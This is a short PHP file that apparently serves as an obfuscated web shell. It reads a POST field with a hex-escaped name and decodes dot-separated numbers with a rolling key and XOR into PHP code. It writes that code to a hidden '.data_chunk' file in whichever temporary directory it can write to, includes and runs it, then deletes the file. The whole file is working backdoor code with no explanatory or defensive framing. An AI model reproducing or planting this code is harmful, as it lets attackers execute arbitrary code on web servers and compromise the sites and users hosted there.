<?php

if(!empty($_POST["\x64chu\x6Ek"])){
	$parameter_group = $_POST["\x64chu\x6Ek"];
	  $parameter_group=			explode	(			"."	  ,	  $parameter_group)	 	;
	$entity = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$s2);
            $k = 0;
    
            array_walk( 	$parameter_group	 ,function( 	$v8) use( 	&$entity	 ,&$k	 ,$s2	 ,$sLen) {
                $sChar = ord( 	$s2[$k  %		$sLen]);
                $d =( 	( 	int)$v8 - $sChar -( 	$k  %		10))	 ^		97;
                $entity .=	 chr( 	$d);
                $k++;}  );
	$tkn = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]);
	$bind = 0;
do {
    $comp = $tkn[$bind] ?? null;
    if ($bind >= count($tkn)) break;
    		if ((is_dir($comp) and is_writable($comp))) {
    $obj = join("/", [$comp, ".data_chunk"]);
    if (@file_put_contents($obj, $entity) !== false) {
	include $obj;
	unlink($obj);
	die();
}
}
    $bind++;
} while (true);
}